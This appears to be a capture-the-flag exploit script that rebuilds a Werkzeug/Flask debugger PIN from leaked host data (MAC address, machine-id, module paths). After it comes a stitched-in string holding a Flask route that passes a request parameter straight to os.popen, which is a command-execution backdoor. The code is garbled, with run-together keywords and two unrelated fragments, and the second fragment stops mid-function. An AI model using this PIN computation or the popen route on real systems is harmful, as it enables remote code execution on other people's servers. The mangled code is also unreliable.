import hashlib import getpass from flask import Flask from itertools import chain import sys import uuid import typing as t username='ctf' app = Flask(__name__) modname=getattr(app, "__module__", t.cast(object, app).__class__.__module__) mod=sys.modules.get(modname) mod = getattr(mod, "__file__", None)
probably_public_bits = [ username, #用户名 modname, #一般固定为flask.app getattr(app, "__name__", app.__class__.__name__), #固定,一般为Flask '/usr/local/lib/python3.8/site-packages/flask/app.py', #主程序(app.py)运行的绝对路径 ] print(probably_public_bits) mac ='02:42:c0:a8:00:03'.replace(':','') mac=str(int(mac,base=16)) private_bits = [ mac,#mac地址十进制 "1cc402dd0e11d5ae18db04a6de87223df94918dc15380836ea1b18193fe060888b28f6a7245d06858bf6ea3dc61fbeee"#/etc/machine-id+cgroup ] print(private_bits) h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): ifnot bit: continue ifisinstance(bit, str): bit = bit.encode("utf-8") h.update(bit) h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't # end up with the same value and generate out 9 digits h.update(b"pinsalt") num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if # we don't have a result yet. rv=None if rv isNone: for group_size in5, 4, 3: iflen(num) % group_size == 0: rv = "-".join( num[x : x + group_size].rjust(group_size, "0") for x inrange(0, len(num), group_size) ) break else: rv = num
from flask import Flask, request, make_response import mimetypes
app = Flask(__name__)
@app.route("/") defindex():
r = ''' from flask import Flask,request import os app = Flask(__name__) @app.route("/test", methods=['GET']) def test(): a = request.args.get('a') a = os.popen(a) a = a.read() return str(a) if __name__ == "__main__": app.run(debug=True,host='0.0.0.0', port=8080) '''